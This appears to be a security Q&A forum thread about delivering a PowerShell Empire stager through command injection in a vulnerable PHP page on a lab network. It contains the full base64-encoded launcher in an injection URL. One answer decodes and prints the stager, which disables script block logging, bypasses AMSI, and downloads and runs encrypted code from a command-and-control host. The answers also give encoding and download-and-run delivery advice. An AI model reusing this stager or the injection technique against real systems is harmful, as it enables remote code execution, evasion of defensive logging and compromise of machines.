0

I created a parameter passing through system() i.e. cmd. Now I run Empire tool with http listener and launch powershell launcher. Got the huge bunch of base64 encode string.

Now I pass this string to the parameter cmd, which was passing through the system(), I thought I would get an agent in empire but instead I saw an error in the web page:

    <html>



<center><h1>Hack Me Please </h1>

<h3>Demo</h3>

</center>

//ERROR STARTING FROM HERE

Cannot process the command because the value specified with -EncodedCommand is not properly encoded. The value must be Base64 encoded.


PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
    [-NoLogo] [-NoExit] [-Sta] [-NoProfile] [-NonInteractive]
    [-InputFormat {Text | XML}] [-OutputFormat {Text | XML}] 
    [-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>] 
    [-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
    [-Command { - | <script-block> [-args <arg-array>]
                  | <string> [<CommandParameters>] } ]

... <snipped> ...

As I can read that some escaping is going in base64 string but I don't know why? But I tried to pass that string directly to system(base64) and I can successfully get the agent in Empire but why can't get it through that way?

I did same thing with curl. And the result was the same.

Any suggestion would help me in this.

Here is the Base64 payload:

  http://192.168.0.5:9999/exploitme.php?cmd=powershell%20-noP%20-sta%20-w%201%20-enc%20SQBGACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAEEAQgBsAEUALgBQAFMAVgBlAFIAcwBJAG8AbgAuAE0AQQBqAG8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAARgA9AFsAcgBFAEYAXQAuAEEAUwBzAEUAbQBCAGwAWQAuAEcAZQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAEEAbABVAGUAKAAkAE4AVQBsAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBMAD0AWwBDAG8AbABsAGUAYwBUAEkATwBuAHMALgBHAGUAbgBFAHIASQBjAC4ARABJAEMAdABpAG8AbgBBAHIAeQBbAHMAdABSAEkAbgBHACwAUwBZAHMAdABFAG0ALgBPAEIAagBFAGMAVABdAF0AOgA6AG4AZQB3ACgAKQA7ACQAVgBBAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAdgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAGEATAB9AEUAbABzAEUAewBbAFMAYwByAGkAUABUAEIATABPAEMASwBdAC4AIgBHAGUAVABGAGkAZQBgAEwAZAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBBAEwAdQBFACgAJABOAFUAbABMACwAKABOAEUAdwAtAE8AQgBqAGUAYwB0ACAAQwBvAGwATABFAEMAdABpAG8AbgBzAC4ARwBFAG4ARQBSAEkAQwAuAEgAQQBzAGgAUwBFAHQAWwBzAHQAcgBpAG4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAUwBzAEUATQBiAEwAWQAuAEcAZQB0AFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBJAGUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAEEAbABVAGUAKAAkAE4AdQBsAEwALAAkAHQAUgB1AEUAKQB9ADsAfQA7AFsAUwB5AFMAVABFAE0ALgBOAEUAVAAuAFMAZQByAHYAaQBDAGUAUABPAEkATgB0AE0AYQBOAEEARwBFAHIAXQA6ADoARQBYAFAAZQBDAHQAMQAwADAAQwBPAG4AVABJAE4AdQBlAD0AMAA7ACQAVwBjAD0ATgBFAFcALQBPAEIASgBFAEMAVAAgAFMAWQBTAFQARQBtAC4ATgBlAHQALgBXAGUAQgBDAEwAaQBFAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAQwAuAEgARQBhAGQAZQBSAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAcgBPAHgAWQA9AFsAUwB5AHMAVABFAE0ALgBOAGUAVAAuAFcARQBCAFIAZQBxAHUARQBzAHQAXQA6ADoARABFAGYAYQBVAGwAdABXAGUAYgBQAHIATwB4AFkAOwAkAHcAYwAuAFAAcgBPAFgAeQAuAEMAUgBlAGQAZQBuAHQAaQBhAEwAUwAgAD0AIABbAFMAWQBTAFQAZQBNAC4ATgBFAHQALgBDAHIAZQBkAEUAbgBUAGkAYQBsAEMAYQBjAEgAZQBdADoAOgBEAGUAZgBhAFUAbABUAE4AZQB0AHcAbwByAEsAQwByAGUAZABFAG4AdABpAGEAbABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAVABlAG0ALgBUAGUAWABUAC4ARQBOAEMAbwBEAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAWQB0AGUAcwAoACcAPAAvAHEAOQBYADQAdgAuAEkAMwA4AGwAWwB1AHsAMAA6AH0AYQA+AHQAKABlAFMAQgBwADEAZwBiAHgAOwB+ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAFUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADEAOgA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAFcAQwAuAEgARQBBAEQARQBSAFMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAcwBlAHMAcwBpAG8AbgA9AFcATQBkACsAdwBNAHYAdABiAEMAUgBwAFoAZgBPAHIANwAwAEwASAA4AFoAMABzAFYAWQBjAD0AIgApADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBuAEwAbwBBAEQARABhAHQAYQAoACQAcwBlAFIAKwAkAFQAKQA7ACQAaQBWAD0AJABkAGEAdABhAFsAMAAuAC4AMwBdADsAJABEAGEAdABhAD0AJABkAGEAdABBAFsANAAuAC4AJABkAGEAVABBAC4AbABFAE4AZwBUAGgAXQA7AC0AagBvAEkAbgBbAEMAaABBAFIAWwBdAF0AKAAmACAAJABSACAAJABEAEEAVABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=

This is the exact payload that is sent to the server.

Improve this question
0

2 Answers 2

Reset to default
2 
 http://192.168.0.5:9999/exploitme.php?cmd=powershell...-enc%20SQB.../...+...+...=

The URL will be parsed and the parameters decoded before passing it to system. But you've included characters which have a special meaning in the URL without proper encoding. For example + will be decoded into space and = might be treated as part of key=value. / might be interpreted in a special way to. This will break your base64 payload.

To prevent this you need to properly URL-encode these characters inside the payload, i.e. encode as %HHwhere HH is the hexadecimal representation of the character. Thus + should be encoded as %2B, = as %3D and / as %2F.

Improve this answer
5
  • Correct me if i am wrong, but b64 will never have special character like +. And = is only found at the end. If if there are other get paramters , it will be seperated by & which wont allow an anomaly like that.
    – Ashutosh Raina
    Commented May 8, 2019 at 7:26
  • I am sorry Steffen, I did like as you said but still can't executed.
    – Utkarsh Agrawal
    Commented May 8, 2019 at 7:47
  • @AshutoshRaina: "Correct me if i am wrong," - Yes, you are wrong regarding +. See number 62 in Wikipedia:Base64 - Base64 table. But yes, = should only be at the end but it might still be relevant for the decoder (depends on actual decoder).
    – Steffen Ullrich
    Commented May 8, 2019 at 8:09
  • @UtkarshAgrawal: While you say that you did as I said I have no idea what you really did. I recommend that you modify the PHP code where you call system to also provide in the output the exact command line you've used in system so that you can actually compare what you intended to do with what you actually did.
    – Steffen Ullrich
    Commented May 8, 2019 at 8:15
  • @AshutoshRaina: "...but in his case '+' in not present is his b64 string anyway " - Wrong again, the + is included two times in his base64 string.
    – Steffen Ullrich
    Commented May 8, 2019 at 9:57
1

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

Also, Try and use get encoded bytes like this 

$K = [System.Text.Encoding]::ASCII.GetBytes([Convert]::FromBase64String('<==base64payload here==>'))

That way you can be sure that no special character has terminated your string unexpectedly.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .